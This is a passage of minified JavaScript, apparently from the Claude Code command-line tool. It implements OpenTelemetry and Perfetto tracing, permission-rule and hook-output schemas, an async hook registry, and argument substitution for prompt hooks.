q==="true"}function TWA(){let A=my(),K=d1(),q={"user.id":A};if(kP6("OTEL_METRICS_INCLUDE_SESSION_ID"))q["session.id"]=K;if(kP6("OTEL_METRICS_INCLUDE_VERSION"))q["app.version"]={ISSUES_EXPLAINER:"report the issue at https://github.com/anthropics/claude-code/issues",PACKAGE_URL:"@anthropic-ai/claude-code",README_URL:"https://code.claude.com/docs/en/overview",VERSION:"2.1.23",FEEDBACK_CHANNEL:"https://github.com/anthropics/claude-code/issues",BUILD_TIME:"2026-01-29T00:18:20Z"}.VERSION;let Y=$5();if(Y){let{organizationUuid:z,emailAddress:w,accountUuid:H}=Y;if(z)q["organization.id"]=z;if(w)q["user.email"]=w;if(H&&kP6("OTEL_METRICS_INCLUDE_ACCOUNT_UUID"))q["user.account_uuid"]=H}if(QV.terminal)q["terminal.type"]=QV.terminal;return q}var kyY;var n_1=k(()=>{q6();i6();Rr();x4();kyY={OTEL_METRICS_INCLUDE_SESSION_ID:!0,OTEL_METRICS_INCLUDE_VERSION:!1,OTEL_METRICS_INCLUDE_ACCOUNT_UUID:!0}});function LyY(){return P1(process.env.OTEL_LOG_USER_PROMPTS)}function r_1(A){return LyY()?A:"<REDACTED>"}async function uG(A,K={}){let q=Xr6();if(!q)return;let Y={...TWA(),"event.name":A,"event.timestamp":new Date().toISOString(),"event.sequence":CyY++};for(let[z,w]of Object.entries(K))if(w!==void 0)Y[z]=w;q.emit({body:`claude_code.${A}`,attributes:Y})}var CyY=0;var ea=k(()=>{q6();n_1();l6()});import{createHash as RyY}from"crypto";function V$(){if(!(P1(process.env.ENABLE_BETA_TRACING_DETAILED)&&Boolean(process.env.BETA_TRACING_ENDPOINT)))return!1;return b7()}function Sp(A,K=yyY){if(A.length<=K)return{content:A,truncated:!1};return{content:A.slice(0,K)+` [TRUNCATED - Content exceeds 60KB limit]`,truncated:!0}}function LP6(A){return RyY("sha256").update(A).digest("hex").slice(0,12)}function IyY(A){return`sp_${LP6(A)}`}function nM7(A){let K=UA(A.message.content);return`msg_${LP6(K)}`}function CP6(A){let K=A.trim().match(SyY);return K&&K[1]?K[1].trim():null}function hyY(A){let K=[],q=[];for(let Y of A){let z=Y.message.content;if(typeof z==="string"){let w=CP6(z);if(w)q.push(w);else K.push(`[USER] ${z}`)}else if(Array.isArray(z)){for(let w of z)if(w.type==="text"){let H=CP6(w.text);if(H)q.push(H);else K.push(`[USER] ${w.text}`)}else if(w.type==="tool_result"){let H=typeof w.content==="string"?w.content:UA(w.content),J=CP6(H);if(J)q.push(J);else K.push(`[TOOL RESULT: ${w.tool_use_id}] ${H}`)}}}return{contextParts:K,systemReminders:q}}function rM7(A,K){if(!V$())return;let{content:q,truncated:Y}=Sp(`[USER PROMPT] ${K}`);A.setAttributes({new_context:q,...Y&&{new_context_truncated:!0,new_context_original_length:K.length}})}function oM7(A,K,q){if(!V$())return;if(K?.systemPrompt){let Y=IyY(K.systemPrompt),z=K.systemPrompt.slice(0,500);if(A.setAttribute("system_prompt_hash",Y),A.setAttribute("system_prompt_preview",z),A.setAttribute("system_prompt_length",K.systemPrompt.length),!o_1.has(Y)){o_1.add(Y);let{content:w,truncated:H}=Sp(K.systemPrompt);uG("system_prompt",{system_prompt_hash:Y,system_prompt:w,system_prompt_length:String(K.systemPrompt.length),...H&&{system_prompt_truncated:"true"}})}}if(K?.tools)try{let z=G6(K.tools).map((w)=>{let H=UA(w),J=LP6(H);return{name:typeof w.name==="string"?w.name:"unknown",hash:J,json:H}});A.setAttribute("tools",UA(z.map(({name:w,hash:H})=>({name:w,hash:H})))),A.setAttribute("tools_count",z.length);for(let{name:w,hash:H,json:J}of z)if(!o_1.has(`tool_${H}`)){o_1.add(`tool_${H}`);let{content:O,truncated:X}=Sp(J);uG("tool",{tool_name:jK(w),tool_hash:H,tool:O,...X&&{tool_truncated:"true"}})}}catch{A.setAttribute("tools_parse_error",!0)}if(q&&q.length>0&&K?.querySource){let Y=K.querySource,z=iM7.get(Y),w=0;if(z)for(let J=0;J<q.length;J++){let O=q[J];if(O&&nM7(O)===z){w=J+1;break}}let H=q.slice(w).filter((J)=>J.type==="user");if(H.length>0){let{contextParts:J,systemReminders:O}=hyY(H);if(J.length>0){let $=J.join(` --- `),{content:_,truncated:G}=Sp($);A.setAttributes({new_context:_,new_context_message_count:H.length,...G&&{new_context_truncated:!0,new_context_original_length:$.length}})}if(O.length>0){let $=O.join(` --- `),{content:_,truncated:G}=Sp($);A.setAttributes({system_reminders:_,system_reminders_count:O.length,...G&&{system_reminders_truncated:!0,system_reminders_original_length:$.length}})}let X=q[q.length-1];if(X)iM7.set(Y,nM7(X))}}}function aM7(A,K){if(!V$()||!K)return;if(K.modelOutput!==void 0){let{content:q,truncated:Y}=Sp(K.modelOutput);if(A["response.model_output"]=q,Y)A["response.model_output_truncated"]=!0,A["response.model_output_original_length"]=K.modelOutput.length}}function sM7(A,K,q){if(!V$())return;let{content:Y,truncated:z}=Sp(`[TOOL RESULT: ${K}] ${q}`);if(A.new_context=Y,z)A.new_context_truncated=!0,A.new_context_original_length=q.length}var o_1,iM7,yyY=61440,SyY;var a_1=k(()=>{l6();ea();sO();q6();b1();o_1=new Set,iM7=new Map;SyY=/^<system-reminder>\n?([\s\S]*?)\n?<\/system-reminder>$/});function eM7(A){let K=0;for(let q=0;q<A.length;q++){let Y=A.charCodeAt(q);K=(K<<5)-K+Y,K=K&K}return Math.abs(K)||1}function AP7(A){let K=tM7.get(A);if(K!==void 0)return K;return RP6++,tM7.set(A,RP6),RP6}function s_1(){let A=q_()??d1(),K=b9()??"main",q=tn(),Y=yP6.get(A);if(Y)return Y;let z={agentId:A,agentName:K,parentAgentId:q,processId:A===d1()?1:AP7(A),threadId:eM7(K)};return yP6.set(A,z),z}function As(){return(Date.now()-byY)*1000}function t_1(){return`span_${++xyY}`}function KP7(){let A=process.env.CLAUDE_CODE_PERFETTO_TRACE;h(`[Perfetto] initializePerfettoTracing called, env value: ${A}`)}function uyY(A){if(!lI)return;if(eM.push({name:"process_name",cat:"__metadata",ph:"M",ts:0,pid:A.processId,tid:0,args:{name:A.agentName}}),eM.push({name:"thread_name",cat:"__metadata",ph:"M",ts:0,pid:A.processId,tid:A.threadId,args:{name:A.agentName}}),A.parentAgentId)eM.push({name:"parent_agent",cat:"__metadata",ph:"M",ts:0,pid:A.processId,tid:0,args:{parent_agent_id:A.parentAgentId}})}function hp(){return lI}function e_1(A,K,q){if(!lI)return;let Y={agentId:A,agentName:K,parentAgentId:q,processId:AP7(A),threadId:eM7(K)};yP6.set(A,Y),uyY(Y)}function qP7(A){if(!lI)return"";let K=t_1(),q=s_1();return f$.set(K,{name:"API Call",category:"api",startTime:As(),agentInfo:q,args:{model:A.model,prompt_tokens:A.promptTokens,message_id:A.messageId,is_speculative:A.isSpeculative??!1,query_source:A.querySource}}),eM.push({name:"API Call",cat:"api",ph:"B",ts:f$.get(K).startTime,pid:q.processId,tid:q.threadId,args:f$.get(K).args}),K}function YP7(A,K){if(!lI||!A)return;let q=f$.get(A);if(!q)return;let Y=As(),z=Y-q.startTime,w=K.promptTokens??q.args.prompt_tokens,H=K.ttftMs,J=K.ttltMs,O=K.outputTokens,X=K.cacheReadTokens,$=H!==void 0&&w!==void 0&&H>0?Math.round(w/(H/1000)*100)/100:void 0,_=J!==void 0&&H!==void 0?J-H:void 0,G=_!==void 0&&O!==void 0&&_>0?Math.round(O/(_/1000)*100)/100:void 0,Z=X!==void 0&&w!==void 0&&w>0?Math.round(X/w*1e4)/100:void 0,W={...q.args,ttft_ms:H,ttlt_ms:J,prompt_tokens:w,output_tokens:O,cache_read_tokens:X,cache_creation_tokens:K.cacheCreationTokens,message_id:K.messageId??q.args.message_id,success:K.success??!0,error:K.error,duration_ms:z/1000,itps:$,otps:G,cache_hit_rate_pct:Z};if(H!==void 0){let D=q.startTime+H*1000;if(eM.push({name:"First Token",cat:"api,ttft",ph:"B",ts:q.startTime,pid:q.agentInfo.processId,tid:q.agentInfo.threadId,args:{ttft_ms:H,prompt_tokens:w,itps:$,cache_hit_rate_pct:Z}}),eM.push({name:"First Token",cat:"api,ttft",ph:"E",ts:D,pid:q.agentInfo.processId,tid:q.agentInfo.threadId}),_!==void 0&&_>0)eM.push({name:"Sampling",cat:"api,sampling",ph:"B",ts:D,pid:q.agentInfo.processId,tid:q.agentInfo.threadId,args:{sampling_ms:_,output_tokens:O,otps:G}}),eM.push({name:"Sampling",cat:"api,sampling",ph:"E",ts:D+_*1000,pid:q.agentInfo.processId,tid:q.agentInfo.threadId})}eM.push({name:q.name,cat:q.category,ph:"E",ts:Y,pid:q.agentInfo.processId,tid:q.agentInfo.threadId,args:W}),f$.delete(A)}function zP7(A,K){if(!lI)return"";let q=t_1(),Y=s_1();return f$.set(q,{name:`Tool: ${A}`,category:"tool",startTime:As(),agentInfo:Y,args:{tool_name:A,...K}}),eM.push({name:`Tool: ${A}`,cat:"tool",ph:"B",ts:f$.get(q).startTime,pid:Y.processId,tid:Y.threadId,args:f$.get(q).args}),q}function wP7(A,K){if(!lI||!A)return;let q=f$.get(A);if(!q)return;let Y=As(),z=Y-q.startTime,w={...q.args,success:K?.success??!0,error:K?.error,result_tokens:K?.resultTokens,duration_ms:z/1000};eM.push({name:q.name,cat:q.category,ph:"E",ts:Y,pid:q.agentInfo.processId,tid:q.agentInfo.threadId,args:w}),f$.delete(A)}function HP7(A){if(!lI)return"";let K=t_1(),q=s_1();return f$.set(K,{name:"Waiting for User Input",category:"user_input",startTime:As(),agentInfo:q,args:{context:A}}),eM.push({name:"Waiting for User Input",cat:"user_input",ph:"B",ts:f$.get(K).startTime,pid:q.processId,tid:q.threadId,args:f$.get(K).args}),K}function JP7(A,K){if(!lI||!A)return;let q=f$.get(A);if(!q)return;let Y=As(),z=Y-q.startTime,w={...q.args,decision:K?.decision,source:K?.source,duration_ms:z/1000};eM.push({name:q.name,cat:q.category,ph:"E",ts:Y,pid:q.agentInfo.processId,tid:q.agentInfo.threadId,args:w}),f$.delete(A)}function OP7(A){if(!lI)return"";let K=t_1(),q=s_1();return f$.set(K,{name:"Interaction",category:"interaction",startTime:As(),agentInfo:q,args:{user_prompt_length:A?.length}}),eM.push({name:"Interaction",cat:"interaction",ph:"B",ts:f$.get(K).startTime,pid:q.processId,tid:q.threadId,args:f$.get(K).args}),K}function XP7(A){if(!lI||!A)return;let K=f$.get(A);if(!K)return;let q=As(),Y=q-K.startTime;eM.push({name:K.name,cat:K.category,ph:"E",ts:q,pid:K.agentInfo.processId,tid:K.agentInfo.threadId,args:{...K.args,duration_ms:Y/1000}}),f$.delete(A)}var lI=!1,eM,f$,yP6,byY=0,xyY=0,RP6=1,tM7;var WmA=k(()=>{l6();q6();b1();W2();R2();Z1();eM=[],f$=new Map,yP6=new Map,tM7=new Map});import{AsyncLocalStorage as _P7}from"async_hooks";function N$(A){return A.spanContext().spanId||""}function IP6(){{let A=process.env.CLAUDE_CODE_ENHANCED_TELEMETRY_BETA??process.env.ENABLE_ENHANCED_TELEMETRY_BETA;if(P1(A))return!0;if(J2(A))return!1;return G4("enhanced_telemetry_beta",!1)}return!1}function iI(){return IP6()||V$()}function aD(){return tz.trace.getTracer("com.anthropic.claude_code.tracing","1.0.0")}function vWA(A,K={}){return{...TWA(),"span.type":A,...K}}function GP7(A){let K=hp()?OP7(A):void 0;if(!iI()){if(K){let O=tz.trace.getActiveSpan()||aD().startSpan("dummy"),X=N$(O);return kw.set(X,{span:O,startTime:Date.now(),attributes:{},perfettoSpanId:K}),Ks.enterWith(O),O}return tz.trace.getActiveSpan()||aD().startSpan("dummy")}let q=aD(),z=P1(process.env.OTEL_LOG_USER_PROMPTS)?A:"<REDACTED>";$P7++;let w=vWA("interaction",{user_prompt:z,user_prompt_length:A.length,"interaction.sequence":$P7}),H=q.startSpan("claude_code.interaction",{attributes:w});rM7(H,A);let J=N$(H);return kw.set(J,{span:H,startTime:Date.now(),attributes:w,perfettoSpanId:K}),Ks.enterWith(H),H}function DmA(){let A=Ks.getStore();if(!A)return;let K=N$(A),q=kw.get(K);if(!q)return;if(q.ended)return;if(q.perfettoSpanId)XP7(q.perfettoSpanId);if(!iI()){q.ended=!0,kw.delete(K),Ks.exit(()=>{});return}let Y=Date.now()-q.startTime;q.span.setAttributes({"interaction.duration_ms":Y}),q.span.end(),q.ended=!0,kw.delete(K),Ks.exit(()=>{})}function ZP7(A,K,q){let Y=hp()?qP7({model:A,querySource:K?.querySource,messageId:void 0}):void 0;if(!iI()){if(Y){let $=tz.trace.getActiveSpan()||aD().startSpan("dummy"),_=N$($);return kw.set(_,{span:$,startTime:Date.now(),attributes:{model:A},perfettoSpanId:Y}),$}return tz.trace.getActiveSpan()||aD().startSpan("dummy")}let z=aD(),w=Ks.getStore(),H=vWA("llm_request",{model:A,"llm_request.context":w?"interaction":"standalone"}),J=w?tz.trace.setSpan(tz.context.active(),w):tz.context.active(),O=z.startSpan("claude_code.llm_request",{attributes:H},J);if(K?.querySource)O.setAttribute("query_source",K.querySource);oM7(O,K,q);let X=N$(O);return kw.set(X,{span:O,startTime:Date.now(),attributes:H,perfettoSpanId:Y}),O}function SP6(A,K){let q;if(A){let w=N$(A);q=kw.get(w)}else for(let[,w]of Array.from(kw.entries()).reverse())if(w.attributes["span.type"]==="llm_request"||w.attributes.model){q=w;break}if(!q)return;let Y=Date.now()-q.startTime;if(q.perfettoSpanId)YP7(q.perfettoSpanId,{ttftMs:K?.ttftMs,ttltMs:Y,promptTokens:K?.inputTokens,outputTokens:K?.outputTokens,cacheReadTokens:K?.cacheReadTokens,cacheCreationTokens:K?.cacheCreationTokens,success:K?.success,error:K?.error});if(!iI()){kw.delete(N$(q.span));return}let z={duration_ms:Y};if(K){if(K.inputTokens!==void 0)z.input_tokens=K.inputTokens;if(K.outputTokens!==void 0)z.output_tokens=K.outputTokens;if(K.cacheReadTokens!==void 0)z.cache_read_tokens=K.cacheReadTokens;if(K.cacheCreationTokens!==void 0)z.cache_creation_tokens=K.cacheCreationTokens;if(K.success!==void 0)z.success=K.success;if(K.statusCode!==void 0)z.status_code=K.statusCode;if(K.error!==void 0)z.error=K.error;if(K.attempt!==void 0)z.attempt=K.attempt;if(K.hasToolCall!==void 0)z["response.has_tool_call"]=K.hasToolCall;if(K.ttftMs!==void 0)z.ttft_ms=K.ttftMs;aM7(z,K)}q.span.setAttributes(z),q.span.end(),kw.delete(N$(q.span))}function WP7(A,K){let q=hp()?zP7(A,K):void 0;if(!iI()){if(q){let X=tz.trace.getActiveSpan()||aD().startSpan("dummy"),$=N$(X);return kw.set($,{span:X,startTime:Date.now(),attributes:{"span.type":"tool",tool_name:A},perfettoSpanId:q}),qs.enterWith(X),X}return tz.trace.getActiveSpan()||aD().startSpan("dummy")}let Y=aD(),z=Ks.getStore(),w=vWA("tool",{tool_name:A,...K}),H=z?tz.trace.setSpan(tz.context.active(),z):tz.context.active(),J=Y.startSpan("claude_code.tool",{attributes:w},H),O=N$(J);return kw.set(O,{span:J,startTime:Date.now(),attributes:w,perfettoSpanId:q}),qs.enterWith(J),J}function DP7(){let A=hp()?HP7("tool_permission"):void 0;if(!iI()){if(A){let J=tz.trace.getActiveSpan()||aD().startSpan("dummy"),O=N$(J);return kw.set(O,{span:J,startTime:Date.now(),attributes:{"span.type":"tool.blocked_on_user"},perfettoSpanId:A}),J}return tz.trace.getActiveSpan()||aD().startSpan("dummy")}let K=aD(),q=qs.getStore(),Y=vWA("tool.blocked_on_user"),z=q?tz.trace.setSpan(tz.context.active(),q):tz.context.active(),w=K.startSpan("claude_code.tool.blocked_on_user",{attributes:Y},z),H=N$(w);return kw.set(H,{span:w,startTime:Date.now(),attributes:Y,perfettoSpanId:A}),w}function hP6(A,K){let q;for(let[,H]of Array.from(kw.entries()).reverse())if(H.attributes["span.type"]==="tool.blocked_on_user"){q=H;break}if(!q)return;if(q.perfettoSpanId)JP7(q.perfettoSpanId,{decision:A,source:K});if(!iI()){let H=N$(q.span);kw.delete(H);return}let z={duration_ms:Date.now()-q.startTime};if(A)z.decision=A;if(K)z.source=K;q.span.setAttributes(z),q.span.end();let w=N$(q.span);kw.delete(w)}function jP7(){if(!iI())return tz.trace.getActiveSpan()||aD().startSpan("dummy");let A=aD(),K=qs.getStore(),q=vWA("tool.execution"),Y=K?tz.trace.setSpan(tz.context.active(),K):tz.context.active(),z=A.startSpan("claude_code.tool.execution",{attributes:q},Y),w=N$(z);return kw.set(w,{span:z,startTime:Date.now(),attributes:q}),z}function bP6(A){if(!iI())return;let K;for(let[,w]of Array.from(kw.entries()).reverse())if(w.attributes["span.type"]==="tool.execution"){K=w;break}if(!K)return;let Y={duration_ms:Date.now()-K.startTime};if(A){if(A.success!==void 0)Y.success=A.success;if(A.error!==void 0)Y.error=A.error}K.span.setAttributes(Y),K.span.end();let z=N$(K.span);kw.delete(z)}function AG1(A,K){let q;for(let[,H]of Array.from(kw.entries()).reverse())if(H.attributes["span.type"]==="tool"){q=H;break}if(!q)return;if(q.perfettoSpanId)wP7(q.perfettoSpanId,{success:!0,resultTokens:K});if(!iI()){let H=N$(q.span);kw.delete(H),qs.exit(()=>{});return}let z={duration_ms:Date.now()-q.startTime};if(A){let H=q.attributes.tool_name||"unknown";sM7(z,H,A)}if(K!==void 0)z.result_tokens=K;q.span.setAttributes(z),q.span.end();let w=N$(q.span);kw.delete(w),qs.exit(()=>{})}function ByY(){return P1(process.env.OTEL_LOG_TOOL_CONTENT)}function MP7(A,K){if(!iI()||!ByY())return;let q=qs.getStore();if(!q)return;let Y={};for(let[z,w]of Object.entries(K))if(typeof w==="string"){let{content:H,truncated:J}=Sp(w);if(Y[z]=H,J)Y[`${z}_truncated`]=!0,Y[`${z}_original_length`]=w.length}else Y[z]=w;q.addEvent(A,Y)}function PP7(A,K,q,Y){if(!V$())return tz.trace.getActiveSpan()||aD().startSpan("dummy");let z=aD(),w=qs.getStore()||Ks.getStore(),H=vWA("hook",{hook_event:A,hook_name:K,num_hooks:q,hook_definitions:Y}),J=w?tz.trace.setSpan(tz.context.active(),w):tz.context.active(),O=z.startSpan("claude_code.hook",{attributes:H},J),X=N$(O);return kw.set(X,{span:O,startTime:Date.now(),attributes:H}),O}function VP7(A,K){if(!V$())return;let q=N$(A),Y=kw.get(q);if(!Y)return;let w={duration_ms:Date.now()-Y.startTime};if(K){if(K.numSuccess!==void 0)w.num_success=K.numSuccess;if(K.numBlocking!==void 0)w.num_blocking=K.numBlocking;if(K.numNonBlockingError!==void 0)w.num_non_blocking_error=K.numNonBlockingError;if(K.numCancelled!==void 0)w.num_cancelled=K.numCancelled}Y.span.setAttributes(w),Y.span.end(),kw.delete(q)}var tz,Ks,qs,kw,$P7=0;var Ys=k(()=>{B7();n_1();l6();a_1();WmA();tz=o(RK(),1),Ks=new _P7,qs=new _P7,kw=new Map});var lHH,KG1;var fP7=k(()=>{z7();lHH=f7.enum(["allow","deny","ask"]),KG1=f7.object({toolName:f7.string(),ruleContent:f7.string().optional()})});var EWA,qG1;var xP6=k(()=>{z7();fP7();n_();EWA=f7.enum(["userSettings","projectSettings","localSettings","session","cliArg"]),qG1=f7.discriminatedUnion("type",[f7.object({type:f7.literal("addRules"),rules:f7.array(KG1),behavior:f7.enum(["allow","deny","ask"]),destination:EWA}),f7.object({type:f7.literal("replaceRules"),rules:f7.array(KG1),behavior:f7.enum(["allow","deny","ask"]),destination:EWA}),f7.object({type:f7.literal("removeRules"),rules:f7.array(KG1),behavior:f7.enum(["allow","deny","ask"]),destination:EWA}),f7.object({type:f7.literal("setMode"),mode:pR8,destination:EWA}),f7.object({type:f7.literal("addDirectories"),directories:f7.array(f7.string()),destination:EWA}),f7.object({type:f7.literal("removeDirectories"),directories:f7.array(f7.string()),destination:EWA})])});function NP7(A){return!(("async"in A)&&A.async===!0)}function sqA(A){return"async"in A&&A.async===!0}var myY,gyY,YG1;var uP6=k(()=>{z7();j$A();xP6();myY=U.object({async:U.literal(!0),asyncTimeout:U.number().optional()}),gyY=U.object({continue:U.boolean().describe("Whether Claude should continue after hook (default: true)").optional(),suppressOutput:U.boolean().describe("Hide stdout from transcript (default: false)").optional(),stopReason:U.string().describe("Message shown when continue is false").optional(),decision:U.enum(["approve","block"]).optional(),reason:U.string().describe("Explanation for the decision").optional(),systemMessage:U.string().describe("Warning message shown to the user").optional(),hookSpecificOutput:U.union([U.object({hookEventName:U.literal("PreToolUse"),permissionDecision:U.enum(["allow","deny","ask"]).optional(),permissionDecisionReason:U.string().optional(),updatedInput:U.record(U.string(),U.unknown()).optional(),additionalContext:U.string().optional()}),U.object({hookEventName:U.literal("UserPromptSubmit"),additionalContext:U.string().optional()}),U.object({hookEventName:U.literal("SessionStart"),additionalContext:U.string().optional()}),U.object({hookEventName:U.literal("Setup"),additionalContext:U.string().optional()}),U.object({hookEventName:U.literal("SubagentStart"),additionalContext:U.string().optional()}),U.object({hookEventName:U.literal("PostToolUse"),additionalContext:U.string().optional(),updatedMCPToolOutput:U.unknown().describe("Updates the output for MCP tools").optional()}),U.object({hookEventName:U.literal("PostToolUseFailure"),additionalContext:U.string().optional()}),U.object({hookEventName:U.literal("Notification"),additionalContext:U.string().optional()}),U.object({hookEventName:U.literal("PermissionRequest"),decision:U.union([U.object({behavior:U.literal("allow"),updatedInput:U.record(U.string(),U.unknown()).optional(),updatedPermissions:U.array(qG1).optional()}),U.object({behavior:U.literal("deny"),message:U.string().optional(),interrupt:U.boolean().optional()})])})]).optional()}),YG1=U.union([myY,gyY])});function rC(A,K){let q=e7();if(A.aborted||K?.aborted)return q.abort(),{signal:q.signal,cleanup:()=>{}};let Y=()=>{q.abort()};A.addEventListener("abort",Y),K?.addEventListener("abort",Y);let z=()=>{A.removeEventListener("abort",Y),K?.removeEventListener("abort",Y)};return{signal:q.signal,cleanup:z}}var jmA=k(()=>{Jz()});function TP7(A){if(mP6=A,A&&BP6.length>0)for(let K of BP6.splice(0))A(K)}function gP6(A){if(mP6)mP6(A);else BP6.push(A)}function zG1(A){return FyY.includes(A)}function vP7(A,K,q){if(!zG1(q))return;gP6({type:"started",hookId:A,hookName:K,hookEvent:q})}function QyY(A){if(!zG1(A.hookEvent))return;if(!P1(process.env.CLAUDE_CODE_REMOTE))return;gP6({type:"progress",...A})}function wG1(A){if(!zG1(A.hookEvent))return()=>{};if(!P1(process.env.CLAUDE_CODE_REMOTE))return()=>{};let K="",q=setInterval(()=>{let{stdout:Y,stderr:z,output:w}=A.getOutput();if(w===K)return;K=w,QyY({hookId:A.hookId,hookName:A.hookName,hookEvent:A.hookEvent,stdout:Y,stderr:z,output:w})},1000);return q.unref(),()=>clearInterval(q)}function nI(A){if(!zG1(A.hookEvent))return;gP6({type:"response",...A})}var FyY,BP6,mP6=null;var HG1=k(()=>{l6();FyY=["SessionStart","Setup"],BP6=[]});function EP7({processId:A,hookId:K,asyncResponse:q,hookName:Y,hookEvent:z,command:w,shellCommand:H,toolName:J}){let O=q.asyncTimeout||15000;h(`Hooks: Registering async hook ${A} (${Y}) with timeout ${O}ms`);let X=wG1({hookId:K,hookName:Y,hookEvent:z,getOutput:()=>{let $=oC.get(A);return $?{stdout:$.stdout,stderr:$.stderr,output:$.output}:{stdout:"",stderr:"",output:""}}});oC.set(A,{processId:A,hookId:K,hookName:Y,hookEvent:z,toolName:J,command:w,startTime:Date.now(),timeout:O,stdout:"",stderr:"",output:"",responseAttachmentSent:!1,shellCommand:H,stopProgressInterval:X})}function kP7(A,K){let q=oC.get(A);if(q)h(`Hooks: Adding stdout to ${A}: ${K.substring(0,50)}...`),q.stdout+=K,q.output+=K;else h(`Hooks: Attempted to add output to unknown process ${A}`)}function CP7(A,K){let q=oC.get(A);if(q)h(`Hooks: Adding stderr to ${A}: ${K.substring(0,50)}...`),q.stderr+=K,q.output+=K;else h(`Hooks: Attempted to add stderr to unknown process ${A}`)}function FP6(A,K,q){A.stopProgressInterval(),A.shellCommand?.cleanup(),nI({hookId:A.hookId,hookName:A.hookName,hookEvent:A.hookEvent,output:A.output,stdout:A.stdout,stderr:A.stderr,exitCode:K,outcome:q})}async function LP7(){let A=[],K=oC.size;h(`Hooks: Found ${K} total hooks in registry`);let q=[];for(let Y of oC.values()){if(h(`Hooks: Checking hook ${Y.processId} (${Y.hookName}) - attachmentSent: ${Y.responseAttachmentSent}, stdout length: ${Y.stdout.length}`),!Y.shellCommand){h(`Hooks: Hook ${Y.processId} has no shell command, removing from registry`),Y.stopProgressInterval(),q.push(Y.processId);continue}if(h(`Hooks: Hook shell status ${Y.shellCommand.status}`),Y.shellCommand.status==="killed"){h(`Hooks: Hook ${Y.processId} is ${Y.shellCommand.status}, removing from registry`),Y.stopProgressInterval(),Y.shellCommand.cleanup(),q.push(Y.processId);continue}if(Y.shellCommand.status!=="completed")continue;if(Y.responseAttachmentSent||!Y.stdout.trim()){h(`Hooks: Skipping hook ${Y.processId} - already delivered/sent or no stdout`),Y.stopProgressInterval(),q.push(Y.processId);continue}let z=Y.stdout.split(` `);h(`Hooks: Processing ${z.length} lines of stdout for ${Y.processId}`);let H=(await Y.shellCommand.result).code,J={};for(let O of z)if(O.trim().startsWith("{")){h(`Hooks: Found JSON line: ${O.trim().substring(0,100)}...`);try{let X=G6(O.trim());if(!("async"in X)){h(`Hooks: Found sync response from ${Y.processId}: ${UA(X)}`),J=X;break}}catch{h(`Hooks: Failed to parse JSON from ${Y.processId}: ${O.trim()}`)}}if(A.push({processId:Y.processId,response:J,hookName:Y.hookName,hookEvent:Y.hookEvent,toolName:Y.toolName,stdout:Y.stdout,stderr:Y.stderr,exitCode:H}),Y.responseAttachmentSent=!0,FP6(Y,H,H===0?"success":"error"),oC.delete(Y.processId),Y.hookEvent==="SessionStart")h(`Invalidating session env cache after SessionStart hook ${Y.processId} completed`),VM7()}for(let Y of q)oC.delete(Y);return h(`Hooks: checkForNewResponses returning ${A.length} responses`),A}function RP7(A){for(let K of A){let q=oC.get(K);if(q&&q.responseAttachmentSent)h(`Hooks: Removing delivered hook ${K}`),q.stopProgressInterval(),oC.delete(K)}}async function QP6(){for(let A of oC.values())if(A.shellCommand?.status==="completed"){let K=await A.shellCommand.result;FP6(A,K.code,K.code===0?"success":"error")}else{if(A.shellCommand&&A.shellCommand.status!=="killed")A.shellCommand.kill();FP6(A,1,"cancelled")}oC.clear()}var oC;var JG1=k(()=>{Z1();h_1();b1();HG1();oC=new Map});async function yP7(A){let K;do K=await A.next();while(!K.done);return K.value}async function*kWA(A,K=1/0){let q=(w)=>{let H=w.next().then(({done:J,value:O})=>({done:J,value:O,generator:w,promise:H}));return H},Y=[...A],z=new Set;while(z.size<K&&Y.length>0){let w=Y.shift();z.add(q(w))}while(z.size>0){let{done:w,value:H,generator:J,promise:O}=await Promise.race(z);if(z.delete(O),!w){if(z.add(q(J)),H!==void 0)yield H}else if(Y.length>0){let X=Y.shift();z.add(q(X))}}}async function OG1(A){let K=[];for await(let q of A)K.push(q);return K}async function*UP6(A){for(let K of A)yield K}var $JH;var zs=k(()=>{$JH=Symbol("NO_VALUE")});function pP6(A){if(!A||!A.trim())return[];let K=Bz(A,(q)=>`$${q}`);if(!K.success)return A.split(/\s+/).filter(Boolean);return K.tokens.filter((q)=>typeof q==="string")}function MmA(A){if(!A)return[];let K=(q)=>typeof q==="string"&&q.trim()!==""&&!/^\d+$/.test(q);if(Array.isArray(A))return A.filter(K);if(typeof A==="string")return A.split(/\s+/).filter(K);return[]}function IP7(A,K){let q=A.slice(K.length);if(q.length===0)return;return q.map((Y)=>`[${Y}]`).join(" ")}function CWA(A,K,q=!0,Y=[]){if(K===void 0||K===null)return A;let z=pP6(K),w=A;for(let H=0;H<Y.length;H++){let J=Y[H];if(!J)continue;A=A.replace(new RegExp(`\\$${J}(?![\\[\\w])`,"g"),z[H]??"")}if(A=A.replace(/\$ARGUMENTS\[(\d+)\]/g,(H,J)=>{let O=parseInt(J,10);return z[O]??""}),A=A.replace(/\$(\d+)(?!\w)/g,(H,J)=>{let O=parseInt(J,10);return z[O]??""}),A=A.replaceAll("$ARGUMENTS",K),A===w&&q&&K)A=A+` ARGUMENTS: ${K}`;return A}var PmA=k(()=>{gO()});function XG1(A,K){return CWA(A,K)}function SP7(){return{...qP6,inputSchema:VmA,inputJSONSchema:{type:"object",properties:{ok:{type:"boolean",description:"Whether the condition was met"},reason:{type:"string",description:"Reason, if the condition was not met"}},required:["ok"],additionalProperties:!1},async prompt(){return"Use this tool to return your verification result. You MUST call this tool exactly once at the end of your response."}}}function $G1(A,K){l_1(A,K,"Stop","",(q)=>hP7(q,bG),`You MUST call the ${bG} tool to complete this request. Call this tool now.`,{timeout:5000})}var VmA;var _G1=k(()=>{z7();kp();yp();$8();PmA();VmA=U.object({ok:U.boolean().describe("Whether the condition was met"),reason:U.string().describe("Reason, if the condition was not met").optional()})});import{randomUUID as UyY}from"crypto";async function bP7(A,K,q,Y,z,w,H,J){let O=J||`hook-${UyY()}`;try{let X=XG1(A.prompt,Y);h(`Hooks: Processing prompt hook with prompt: ${X}`);let $=t1({content:X}),_=H&&H.length>0?[...H,$]:[$];h(`Hooks: Querying model with ${_.length} messages`);let G=A.timeout?A.timeout*1000:30000,Z=e7(),W=setTimeout(()=>{Z.abort()},G),{signal:D,cleanup:j}=rC(z,Z.signal);try{let M=await bp({messages:_,systemPrompt:[`You are evaluating a hook in Claude Code. Your response must be a JSON object matching one of the following schemas: 1. If the condition is met, return: {"ok": true} 2. If the condition is not met, return: {"ok": false, "reason": "Reason for why it is not met"}`],maxThinkingTokens:0,tools:w.options.tools,signal:D,options:{async getToolPermissionContext(){return(await w.getAppState()).toolPermissionContext},model:A.model??_O(),toolChoice:void 